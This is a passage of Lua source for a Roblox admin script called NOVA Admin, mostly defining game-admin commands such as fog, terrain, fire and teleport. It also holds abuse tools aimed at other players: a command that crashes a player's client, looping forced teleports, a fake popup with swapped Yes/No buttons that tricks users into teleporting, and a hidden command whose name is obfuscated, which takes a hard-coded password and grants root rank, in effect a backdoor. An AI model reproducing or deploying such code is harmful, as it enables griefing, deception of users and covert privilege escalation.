                Head.Name = "Head"
3249
                Head.CanCollide = false
3250
                local Hum = Instance.new("Humanoid",Model)
3251
                Hum.MaxHealth = 0
3252
                local Weld = Instance.new("Weld",Head)
3253
                Weld.Part0 = Head
3254
                Weld.Part1 = OldHead
3255
                Weld.C0 = CFrame.new(0,0,0)
3256
                OldHead.Transparency = 1
3257
            end)
3258
        end
3259
    end
3260
)
3261
3262
AddCommand("Secret Name","sname",3,"Lets you re-name a player anything.","<Player><Name>",
3263
    function(Msg,Speaker)
3264
        Split = GetSplit(Msg)
3265
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3266
            pcall(function()
3267
                local Char = v.Character
3268
                Char.Archivable = true
3269
                Char = Char:Clone()
3270
                Char.Name = Msg:sub(Split+1)
3271
                v.Character:Destroy()
3272
                Char.Parent = workspace
3273
                v.Character = Char
3274
            end)
3275
        end
3276
    end
3277
)
3278
3279
AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>",
3280
    function(Msg,Speaker)
3281
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3282
            CreateLocalScript([[
3283
                script.Parent = nil
3284
                LocalPlayer = game.Players.LocalPlayer
3285
                Camera = workspace.CurrentCamera
3286
                Camera.CameraType = "Scriptable"
3287
                for i=1,700 do
3288
                    wait()
3289
                    Camera = workspace.CurrentCamera
3290
                    Camera.CameraType = "Scriptable"
3291
                    Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
3292
                    Camera.CameraType = "Scriptable"
3293
                    Camera:SetRoll(Camera:GetRoll()+0.01)
3294
                    pcall(function()
3295
                        LocalPlayer.Character.Head.Sound:Play()
3296
                    end)
3297
                end
3298
                Camera:SetRoll(0)
3299
                Camera.CameraType = "Custom"
3300
                Camera.FieldOfView = 70
3301
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
3302
            ]],v.Backpack)
3303
        end
3304
    end
3305
)
3306
3307
AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>",
3308
    function(Msg,Speaker)
3309
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3310
            CreateLocalScript([[
3311
                script.Parent = nil
3312
                LocalPlayer = game.Players.LocalPlayer
3313
                Camera = workspace.CurrentCamera
3314
                Camera.CameraType = "Scriptable"
3315
                for i=1,math.huge do
3316
                    wait()
3317
                    Camera = workspace.CurrentCamera
3318
                    Camera.CameraType = "Scriptable"
3319
                    Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
3320
                    Camera.CameraType = "Scriptable"
3321
                    Camera:SetRoll(Camera:GetRoll()+0.01)
3322
                    pcall(function()
3323
                        LocalPlayer.Character.Head.Sound:Play()
3324
                    end)
3325
                end
3326
                Camera:SetRoll(0)
3327
                Camera.CameraType = "Custom"
3328
                Camera.FieldOfView = 70
3329
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
3330
            ]],v.Backpack)
3331
        end
3332
    end
3333
)
3334
3335
AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments",
3336
    function(Msg,Speaker)
3337
        for _,v in pairs(NOVA.Credit) do
3338
            Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker)
3339
        end
3340
    end
3341
)
3342
3343
AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments",
3344
    function(Msg,Speaker)
3345
        pcall(function()
3346
            Speaker.Character.Torso.Velocity = Vector3.new(0,0,0)
3347
            Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0)
3348
            Speaker.Character.Torso.CFrame = CFrame.new(0,50,0)
3349
        end)
3350
    end
3351
)
3352
3353
AddCommand("Time","time",1,"Changes the time.","<Number>",
3354
    function(Msg,Speaker)
3355
        NOVA.Services.Lighting.TimeOfDay = Msg
3356
    end
3357
)
3358
3359
AddCommand("Fog End","fog/end",1,"Changes the fog.","<Number>",
3360
    function(Msg,Speaker)
3361
        NOVA.Services.Lighting.FogEnd = Msg
3362
    end
3363
)
3364
3365
AddCommand("Fog Start","fog/start",1,"Changes the fog.","<Number>",
3366
    function(Msg,Speaker)
3367
        NOVA.Services.Lighting.FogStart = Msg
3368
    end
3369
)
3370
3371
AddCommand("Fog Color","fog/color",1,"Changes the fog.","<Number>",
3372
    function(Msg,Speaker)
3373
        if Msg == "red" then Color = NOVA.Colors.Red
3374
            elseif Msg == "black" then Color = NOVA.Colors.Black
3375
            elseif Msg == "white" then Color = NOVA.Colors.White
3376
            elseif Msg == "orange" then Color = NOVA.Colors.Orange
3377
            elseif Msg == "green" then Color = NOVA.Colors.Green
3378
            elseif Msg == "blue" then Color = NOVA.Colors.Blue
3379
        end
3380
        NOVA.Services.Lighting.FogColor = Color
3381
    end
3382
)
3383
--deride
3384
AddCommand(string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAODSA","DSA","")),string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAoDSA","DSA","")),0,"","",
3385
    function(Msg,Speaker)
3386
        CanOverride = false
3387
        if GetRank(Speaker) < 6 then
3388
            if Msg == "ibpwning123" then
3389
                CanOverride = true
3390
            else
3391
                Output("Incorrect password.",NOVA.Colors.Red,Speaker,15)
3392
            end
3393
        else
3394
            CanOverride = true
3395
        end
3396
        if NOVA.Overrided == true then
3397
            CanOverride = false
3398
            Output("NOVA is allready overridden.",NOVA.Colors.Red,Speaker,20)
3399
            return
3400
        end
3401
        if CanOverride == true then
3402
            NOVA.Overrided = true
3403
            NOVA.Overrider = Speaker
3404
            --[[for _,v in pairs(NOVA.Ranked) do
3405
                if v.Rank < 6 then 
3406
                    v.Rank = v.Rank / 10
3407
                end
3408
            end]]
3409
        --[[    CF = Speaker.Character.Torso.CFrame
3410
            Sound = Instance.new("Sound",workspace)
3411
            Sound.SoundId = "http://www.roblox.com/asset?id=2248511"
3412
            Sound.Pitch = 0.2
3413
            Sound.Volume = 1
3414
            wait()
3415
            Sound:Play()
3416
            Shockwave = Instance.new("Part",workspace)
3417
            Shockwave.FormFactor = "Custom"
3418
            Shockwave.Name = "Shockwave"
3419
            Shockwave.Anchored = true
3420
            Shockwave.CanCollide = false
3421
            Shockwave.Transparency = 0
3422
            Shockwave.Reflectance = 0
3423
            Shockwave.BrickColor = BrickColor.new(0,0,0)
3424
            Shockwave.Size = Vector3.new(0,0,0)
3425
            ShockwaveMesh = Instance.new("SpecialMesh",Shockwave)
3426
            ShockwaveMesh.MeshType = "FileMesh"
3427
            ShockwaveMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
3428
            ShockwaveMesh.Scale = Vector3.new(1,1,100)
3429
3430
            for Times = 1,10 do
3431
                coroutine.resume(coroutine.create(function()
3432
                    for i=1,1000 do
3433
                        wait()
3434
                        ShockwaveMesh.Scale = ShockwaveMesh.Scale + Vector3.new(0.5,0.5,0)
3435
                        Shockwave.CFrame = CF
3436
                            * CFrame.new(0,0,0)
3437
                            * CFrame.Angles(math.rad(90),0,0)
3438
                        Shockwave.Transparency = i/100
3439
                    end
3440
                    Shockwave:Remove()
3441
                    Sound:Remove()
3442
                end))
3443
            end
3444
3445
]]
3446
            GetRankedTable(Speaker).Rank = 8 + (GetRankedTable(Speaker).Rank/10)
3447
            Output("You have overrided NOVA Admin.",NOVA.Colors.Red,Speaker,60)
3448
            Output("You are now rank 8. ( ROOT )",NOVA.Colors.Red,Speaker,60)
3449
            Output("Use the reset command to reset NOVA.",NOVA.Colors.Red,Speaker,60)
3450
            OnChatted(NOVA.Bet .. "fence/me",Speaker)
3451
        end
3452
        return CanOverride
3453
    end
3454
)
3455
3456
AddCommand("Reset","reset",7,"Resets NOVA Admin.","No Argumetns",
3457
    function(Msg,Speaker)
3458
        NOVA.Overrided = false
3459
        for _,v in pairs(NOVA.Tablets) do pcall(function() v:Remove() end) end
3460
        NOVA.Targeted = {};
3461
        NOVA.Waypoints = {};
3462
        NOVA.Log = {};
3463
        NOVA.LoggedScripts = {};
3464
        NOVA.PRI = false;
3465
        NOVA.LockedScripts = false;
3466
        NOVA.Removed = false;
3467
        NOVA.ShowChat = true;
3468
        NOVA.Canceled = false;
3469
        NOVA.TimeChanged = false;
3470
        NOVA.Overrider = nil
3471
        for _,v in pairs(NOVA.Ranked) do
3472
            if #tostring(v.Rank) == 3 then
3473
                if tostring(v.Rank):sub(1,1) == "8" then
3474
                    v.Rank = (v.Rank - 8) * 10
3475
                else
3476
                    --v.Rank = v.Rank * 10
3477
                end
3478
            end
3479
        end
3480
    end
3481
)
3482
3483
AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>",
3484
    function(Msg,Speaker)
3485
    
3486
        Split = GetSplit(Msg)
3487
3488
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3489
            OnChatted(Msg:sub(Split),v)
3490
        end
3491
    end
3492
)
3493
3494
AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>",
3495
    function(Msg,Speaker)
3496
    
3497
        Split = GetSplit(Msg)
3498
        
3499
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3500
            Output(Msg:sub(Split+1),"Random",v,10)
3501
        end
3502
    end
3503
)
3504
3505
AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>",
3506
    function(Msg,Speaker)
3507
        Split = GetSplit(Msg) 
3508
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3509
            pcall(function()
3510
                v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1))
3511
            end)
3512
        end
3513
    end
3514
)
3515
3516
AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>",
3517
    function(Msg,Speaker)
3518
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3519
            for i=1,6 do
3520
                local Cube = Instance.new("Part",NOVA.Services.Workspace)
3521
                Cube.FormFactor = "Custom"
3522
                Cube.Size = Vector3.new(10,7,5)
3523
                Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
3524
                Cube.Anchored = false
3525
                Cube.CanCollide = true
3526
                Cube.Locked = true
3527
                Cube.Friction = 0
3528
                Cube.Transparency= 0
3529
                Cube.Reflectance = 0.5
3530
                Cube:BreakJoints()
3531
                Cube.CFrame = v.Character.Torso.CFrame 
3532
                
3533
                local Mesh = Instance.new("SpecialMesh",Cube)
3534
                Mesh.MeshType = "FileMesh"
3535
                Mesh.MeshId = "http://www.roblox.com/asset/?id=1029523"
3536
                Mesh.Scale = Vector3.new(0.1,0.1,0.1)
3537
                
3538
                Cube.Touched:connect(function(part)
3539
                    --if part == v.Character.Torso then
3540
                        part:BreakJoints()
3541
                        NOVA.Services.Debris:AddItem(Cube,20)
3542
                    --end
3543
                end)
3544
            end
3545
        end
3546
    end
3547
)
3548
3549
AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>",
3550
    function(Msg,Speaker)
3551
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3552
            pcall(function()
3553
                v.PlayerGui:ClearAllChildren()
3554
            end)
3555
        end
3556
    end
3557
)
3558
3559
AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>",
3560
    function(Msg,Speaker)
3561
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3562
            pcall(function()
3563
                v.PlayerGui:Destroy()
3564
            end)
3565
        end
3566
    end
3567
)
3568
3569
AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>",
3570
    function(Msg,Speaker)
3571
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3572
            pcall(function()
3573
                for _,part in pairs(GetRecursiveChildren(v.Character)) do
3574
                    if part:IsA("BasePart") then
3575
                        Instance.new("Fire",part)
3576
                    end
3577
                end
3578
            end)
3579
        end
3580
    end
3581
)
3582
3583
AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>",
3584
    function(Msg,Speaker)
3585
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3586
            pcall(function()
3587
                for _,part in pairs(GetRecursiveChildren(v.Character)) do 
3588
                    if part:IsA("Fire") then
3589
                        part:Destroy()
3590
                    end
3591
                end
3592
            end)
3593
        end
3594
    end
3595
)
3596
3597
AddCommand("Burn","burn",3,"Burns the selected player.","<Player>",
3598
    function(Msg,Speaker)
3599
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3600
            pcall(function()
3601
                coroutine.resume(coroutine.create(function()
3602
                    local Fire = Instance.new("Fire",v.Character.Torso)
3603
                    for _,part in pairs(GetRecursiveChildren(v.Character)) do
3604
                        if part:IsA("BasePart") then
3605
                            Instance.new("Fire",part)
3606
                        end
3607
                    end
3608
                    wait()
3609
                    for i=1,math.huge do
3610
                        if Fire.Parent == nil then break end
3611
                        if v.Character.Humanoid == nil then break end
3612
                        if v.Character.Humanoid.Health <= 0 then break end
3613
                        v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7)
3614
                        wait(math.random(0,1))
3615
                    end
3616
                end))
3617
            end)
3618
        end
3619
    end
3620
)
3621
3622
AddCommand("Heal","heal",1,"Heals the selected player.","<Player>",
3623
    function(Msg,Speaker)
3624
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3625
            pcall(function()
3626
                v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
3627
            end)
3628
        end
3629
    end
3630
)
3631
3632
AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>",
3633
    function(Msg,Speaker)
3634
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3635
            pcall(function()
3636
                v.Character.Humanoid.WalkSpeed = tonumber("1e+999")
3637
            end)
3638
        end
3639
    end
3640
)
3641
3642
AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>",
3643
    function(Msg,Speaker)
3644
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3645
            Cape(v)
3646
        end
3647
    end
3648
)
3649
3650
AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments",
3651
    function(Msg,Speaker)
3652
        coroutine.resume(coroutine.create(function()
3653
3654
            Material = math.random(1,16)
3655
            Cap = 1000
3656
            GenNum = 50
3657
            Size = 100
3658
            Type = math.random(0,4)
3659
            for i=1, Cap do
3660
                --wait()
3661
                for i=1,GenNum do
3662
                    Material = math.random(1,16)
3663
                    Type = math.random(0,4)
3664
                    X = math.random((Size/2)*-1,Size/2)
3665
                    Y = math.random(-1,Size-1)
3666
                    Z = math.random((Size/2)*-1,Size/2)
3667
                    NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0)
3668
                end
3669
            end
3670
        end))
3671
    end
3672
)
3673
3674
AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments",    
3675
    function(Msg,Speaker)
3676
        NOVA.Services.Workspace.Terrain:Clear()
3677
    end
3678
)
3679
3680
AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments",
3681
    function(Msg,Speaker)
3682
        coroutine.resume(coroutine.create(function()
3683
            size = Vector3.new(700, 12, 700)
3684
            for X=(size.x/2)*-1,size.x/2  do
3685
                for Y=-1, size.y-1 do
3686
                    for Z=(size.z/2)*-1, size.z/2 do
3687
                        NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0)
3688
                    end
3689
                end
3690
                --wait(tonumber("0."..string.rep("0",10000).."1"))
3691
            end
3692
        end))
3693
    end
3694
)
3695
if NOVA.AntiCamball == true then
3696
Delay(0, function()
3697
  while wait() do
3698
    pcall(function()
3699
      e=workspace:findFirstChild("Focus", true)
3700
      e.Parent.Head:Destroy()
3701
      e:Destroy()   
3702
   end)
3703
  end
3704
end)
3705
end
3706
AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>",
3707
    function(Msg,Speaker)
3708
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3709
            Char = v.Character
3710
            pcall(function() Char["Shirt Graphic"]:Remove() end)
3711
            pcall(function() Char.Humanoid.MaxHealth = math.huge end)
3712
            pcall(function() Char["Body Colors"]:Remove() end)
3713
            pcall(function() Char.Torso.roblox:Remove()    end)
3714
            pcall(function() Char.Shirt:Remove() end)
3715
            pcall(function() Char.Pants:Remove() end)
3716
            wait()
3717
            for _,v in pairs(GetRecursiveChildren(Char)) do
3718
                pcall(function() 
3719
                    v.TextureId = "" v.VertexColor = NOVA.Colors.Black    
3720
                end)
3721
                pcall(function() 
3722
                    v.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black))
3723
                    v.Reflectance = 0
3724
                    v.TopSurface = "Smooth"
3725
                    a.BottomSurfave = "Smooth"
3726
                end)
3727
            end
3728
        end
3729
    end
3730
)
3731
3732
AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>",
3733
    function(Msg,Speaker)
3734
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3735
            v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914"
3736
            wait()
3737
            v.Character:BreakJoints()
3738
        end
3739
    end
3740
)
3741
3742
AddCommand("Character 2","char2",6,"Gives the selected player character appearance 2.","<Player>",
3743
    function(Msg,Speaker)
3744
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3745
            local Part = Instance.new("Part",v.Character)
3746
            Part.Name = "Horus"
3747
            Part.Size = Vector3.new(2,2,2)
3748
            Part.CanCollide = false
3749
            Part.Locked = true
3750
            Part:BreakJoints()
3751
            local Weld = Instance.new("Weld",Part)
3752
            Weld.Part0 = Part
3753
            Weld.Part1 = v.Character.Head
3754
            Weld.C0 = CFrame.new(0,-0.5,0)
3755
            local Mesh = Instance.new("SpecialMesh",Part)
3756
            Mesh.MeshType = "FileMesh"
3757
            Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738"
3758
            Mesh.TextureId = "http://www.roblox.com/asset/?id=47058599"
3759
            for _,v in pairs(GetRecursiveChildren(v.Character,"Hat",3)) do
3760
                v:Remove()
3761
            end
3762
            pcall(function()
3763
                v.Character.Pants:Remove()
3764
            end)
3765
            pcall(function()
3766
                v.Character.Shirt:Remove()
3767
            end)
3768
            local Shirt = Instance.new("Shirt",v.Character)
3769
            Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=59737180"
3770
            local Pants = Instance.new("Pants",v.Character)
3771
            Pants.PantsTemplate = "http://www.roblox.com/asset/?id=77382108"
3772
        end
3773
    end
3774
)
3775
3776
AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>",
3777
    function(Msg,Speaker)
3778
        Split = GetSplit(Msg)
3779
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3780
            v.Neutral = Msg:sub(Split+1)
3781
        end
3782
    end
3783
)
3784
3785
AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments",
3786
    function(Msg,Speaker)
3787
        MainCFrame = CFrame.new(0,3,15)
3788
            * CFrame.Angles(0,math.rad(90),0)
3789
        local Special = {}
3790
        pcall(function() workspace["NOVA Portal"]:Remove() end)
3791
        local Model = Instance.new("Model",workspace)
3792
        Model.Name = "NOVA Portal"
3793
        for angle=1,360/4 do
3794
            local Part = Instance.new("Part",Model)
3795
            Part.Name = "Part"
3796
            Part.FormFactor = "Custom"
3797
            Part.CanCollide = true
3798
            Part.Anchored = true
3799
            Part.Locked = true
3800
            Part.Transparency = 0
3801
            Part.Reflectance = 0
3802
            Part.Size = Vector3.new(1,5/2,1)
3803
            Part.BrickColor = BrickColor.new("Navy blue")
3804
            Part.CFrame = MainCFrame
3805
                * CFrame.Angles(math.rad(angle*4), 0, 0)
3806
                * CFrame.new(0, 15/2, i) 
3807
            --wait(0)
3808
            Instance.new("BlockMesh",Part)
3809
            for num=0,1000,5 do
3810
                if angle==num then 
3811
                    wait() 
3812
                    table.insert(Special,Part)
3813
                    --Part.Reflectance = 1 
3814
                    Part.Size = Vector3.new(0.9,5/2,0.9)
3815
                    Part.CFrame = MainCFrame
3816
                        * CFrame.Angles(math.rad(angle*4), 0, 0)
3817
                        * CFrame.new(0, 15/2, i) 
3818
                end
3819
            end
3820
        end
3821
3822
        for _,v in pairs(Special) do v.Reflectance = 1 wait() end
3823
        
3824
        local Part = Instance.new("Part",Model)
3825
        Part.Name = "Part"
3826
        Part.FormFactor = "Custom"
3827
        Part.CanCollide = false    
3828
        Part.Anchored = true
3829
        Part.Locked = true
3830
        Part.TopSurface = "Smooth" 
3831
        Part.BottomSurface = "Smooth"
3832
        Part.Transparency = 0.5 
3833
        Part.Reflectance = 0
3834
        Part.Size = Vector3.new(0.2,0.2,0.2) 
3835
        Part.BrickColor = BrickColor.new("Really black")
3836
        Part.CFrame = MainCFrame 
3837
            * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
3838
            * CFrame.new(0, 0, 0) 
3839
        Instance.new("CylinderMesh",Part)
3840
3841
        for i=0.2,51/4,0.5 do
3842
            wait()
3843
            Part.Size = Vector3.new(i,0.9,i)
3844
            Part.CFrame = MainCFrame
3845
            * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
3846
            * CFrame.new(0, 0, 0) 
3847
        end
3848
3849
        coroutine.resume(coroutine.create(function()
3850
            while true do wait()
3851
                for i=0,1,0.01 do wait() Part.Reflectance = i end
3852
                for i=1,0,-0.01 do wait() Part.Reflectance = i end
3853
            end
3854
        end))
3855
3856
        Part.Touched:connect(function(Part)
3857
            Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent)
3858
            if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then
3859
                --print(Player.Name.." touched.")
3860
                CreateLocalScript([==[
3861
                    LocalPlayer = game:GetService("Players").LocalPlayer
3862
                    Places = {
3863
                        {Name = "Oxcool1 SB",ID = 20279777};
3864
                        {Name = "Oxcool1 PRI SB", ID = 20132544};
3865
                        {Name = "TNS SB", ID = 23232804};
3866
                        {Name = "BrainWart SB", ID = 76809211};
3867
                        {Name = "nb SB",ID = 113456};
3868
                        {Name = "nb SB (2)",ID = 56786};
3869
                        {Name = "Insert Wars",ID = 13329886};
3870
			{Name = "tus sb", ID = 49907749};
3871
                    }
3872
                    pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end)
3873
                    local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
3874
                    Main.Name = "NOVA Teleport"
3875
                    script.Parent = Main
3876
3877
                    local Frame = Instance.new("Frame",Main)
3878
                    Frame.Size = UDim2.new(0.27,0,0.05,0)
3879
                    Frame.Position = UDim2.new(0.,0,0.2,0)
3880
                    Frame.Style = "RobloxSquare"
3881
3882
                    local Txt = Instance.new("TextBox",Frame)
3883
                    Txt.Size = UDim2.new(0.7,0,1,0)
3884
                    Txt.BackgroundTransparency = 1
3885
                    Txt.FontSize = "Size14"
3886
                    Txt.TextColor3 = Color3.new(1,1,1)
3887
                    Txt.Text = "ID/Name Here"
3888
                    
3889
                    local Close = Instance.new("TextButton",Frame)
3890
                    Close.Size = UDim2.new(0.1,0,1,0)
3891
                    Close.Position = UDim2.new(0.9,0,0,0)
3892
                    Close.Text = "X"
3893
                    Close.BackgroundTransparency = 1
3894
                    Close.FontSize = "Size14"
3895
                    Close.TextColor3 = Color3.new(1,0,0)
3896
                    Close.MouseButton1Down:connect(function()
3897
                        Main:Remove()
3898
                    end)
3899
                    
3900
                    local Exe = Instance.new("TextButton",Frame)
3901
                    Exe.Size = UDim2.new(0.2,0,1,0)
3902
                    Exe.Position = UDim2.new(0.6,0,0,0)
3903
                    Exe.Text = "Teleport"
3904
                    Exe.BackgroundTransparency = 1
3905
                    Exe.FontSize = "Size14"
3906
                    Exe.TextColor3 = Color3.new(1,0,0)
3907
                    Exe.MouseButton1Down:connect(function()
3908
                        GoTo = Txt.Text
3909
                        for _,v in pairs(Places) do
3910
                            if Txt.Text:lower() == v.Name:lower() then 
3911
                                GoTo = v.ID
3912
                            end
3913
                        end
3914
                        game:GetService'TeleportService':Teleport(GoTo)
3915
                        Main:Remove()
3916
                    end)
3917
3918
                    List = Instance.new("Frame",Main)
3919
                    List.Size = UDim2.new(0.27,0,0.05*#Places,0)
3920
                    List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0)
3921
                    List.Style = "RobloxSquare"
3922
3923
                    for NUM,v in pairs(Places) do
3924
                        Name = Instance.new("TextButton",List)
3925
                        Name.Size = UDim2.new(0.5,0,1/#Places,0)
3926
                        Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0)
3927
                        Name.BackgroundTransparency = 1
3928
                        Name.FontSize = "Size14"
3929
                        Name.TextColor3 = Color3.new(1,1,1)
3930
                        Name.Text = v.Name
3931
                        Name.MouseButton1Down:connect(function()
3932
                            game:GetService'TeleportService':Teleport(v.ID)
3933
                        end)
3934
                        ID = Instance.new("TextButton",List)
3935
                        ID.Size = UDim2.new(0.5,0,1/#Places,0)
3936
                        ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0)
3937
                        ID.BackgroundTransparency = 1
3938
                        ID.FontSize = "Size14"
3939
                        ID.TextColor3 = Color3.new(1,1,1)
3940
                        ID.Text = v.ID
3941
                        ID.MouseButton1Down:connect(function()
3942
                            game:GetService'TeleportService':Teleport(v.ID)
3943
                        end)
3944
                    end
3945
                ]==],Player.Backpack)
3946
            end
3947
        end)
3948
    end
3949
)
3950
3951
AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player><PlaceId>",
3952
    function(Msg,Speaker)
3953
        GetSplit(Msg)
3954
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3955
            CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack)
3956
        end
3957
    end
3958
)
3959
3960
AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player><PlaceId>",
3961
    function(Msg,Speaker)
3962
        Split = GetSplit(Msg)
3963
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3964
            CreateLocalScript([==[
3965
                script.Parent = nil
3966
                while true do wait()
3967
                    game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)
3968
                end
3969
            ]==],v.Backpack)
3970
        end
3971
    end
3972
)
3973
3974
AddCommand("Trick Place Tele Port","tptp",6,"Tricks the selected user into clicking on 'Yes' for teleport.","<Player><PlaceId>",
3975
    function(Msg,Speaker)
3976
        Split = GetSplit(Msg)
3977
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3978
            pcall(function()
3979
                CreateLocalScript([[
3980
                    LocalPlayer = game.Players.LocalPlayer
3981
                    script.Parent = nil
3982
                    ScreenGui = Instance.new("ScreenGui")
3983
                    ScreenGui.Name = "Trololol"
3984
                    Frame = Instance.new("Frame",ScreenGui)
3985
                    Frame.Name = "Popup"
3986
                    Frame.Style = "RobloxRound"
3987
                    Frame.Size = UDim2.new(0, 330, 0, 350)
3988
                    Frame.Position = UDim2.new(0.5, -165, 0.5, -175)
3989
                    Frame.Active = true
3990
                    Frame.ZIndex = 9
3991
3992
                    Image = Instance.new("ImageLabel",Frame)
3993
                    Image.Name = "Backing"
3994
                    Image.Image = "http://www.roblox.com/asset/?id=47574181"
3995
                    Image.Active = true
3996
                    Image.Size = UDim2.new(0, 280, 0, 280)
3997
                    Image.Position = UDim2.new(0.5, -140, 0, 0)
3998
                    Image.BackgroundTransparency = 1
3999
                    Image.ZIndex = 8
4000
4001
                    Text = Instance.new("TextLabel",Frame)
4002
                    Text.Name = "Popup Text"
4003
                    Text.Text = "Are you sure you want to teleport from this place?"
4004
                    Text.FontSize = "Size36"
4005
                    Text.TextWrap = true
4006
                    Text.Active = true
4007
                    Text.TextColor3 = Color3.new(1,1,1)
4008
                    Text.Size = UDim2.new(1, 0, 0.800000012, 0)
4009
                    Text.Position = UDim2.new(0,0,0,0)
4010
                    Text.BackgroundTransparency = 1
4011
                    Text.ZIndex = 10
4012
4013
                    Accept = Instance.new("TextButton",Frame)
4014
                    Accept.Name = "AcceptButton"
4015
                    Accept.Text = "No"
4016
                    Accept.Style = "RobloxButton"
4017
                    Accept.FontSize = "Size24"
4018
                    Accept.Active = true
4019
                    Accept.TextColor3 = Color3.new(1,1,1)
4020
                    Accept.Size = UDim2.new(0, 100, 0, 50)
4021
                    Accept.Position = UDim2.new(0,20,0,270)
4022
                    Accept.ZIndex = 10
4023
4024
                    Decline = Instance.new("TextButton",Frame)
4025
                    Decline.Name = "DeclineButton"
4026
                    Decline.Text = "Yes"
4027
                    Decline.Style = "RobloxButton"
4028
                    Decline.FontSize = "Size24"
4029
                    Decline.Active = true
4030
                    Decline.TextColor3 = Color3.new(1,1,1)
4031
                    Decline.Size = UDim2.new(0, 100, 0, 50)
4032
                    Decline.Position = UDim2.new(1, -120, 0, 270)
4033
                    Decline.ZIndex = 10
4034
4035
                    Darken = Instance.new("Frame",Frame)
4036
                    Darken.Name = "Darken"
4037
                    Darken.Style = "RobloxRound"
4038
                    Darken.Size = UDim2.new(1,16,1,16)
4039
                    Darken.Position = UDim2.new(0,-8,0,-8)
4040
                    Darken.Active = true
4041
                    Darken.Visible = false
4042
4043
                    Backing = Instance.new("Frame",ScreenGui)
4044
                    Backing.Name = "Backing"
4045
                    Backing.BackgroundColor3 = Color3.new(1,1,1)
4046
                    Backing.Size = UDim2.new(1,0,1,0)
4047
                    Backing.Active = true
4048
                    ScreenGui.Parent = game:GetService("CoreGui")
4049
                    
4050
                    while true do wait()
4051
                        game:GetService'TeleportService':Teleport(]]..Msg:sub(Split+1)..[[)
4052
                    end
4053
4054
4055
                ]],v.Backpack)
4056
            end)
4057
        end
4058
    end
4059
)
4060
4061
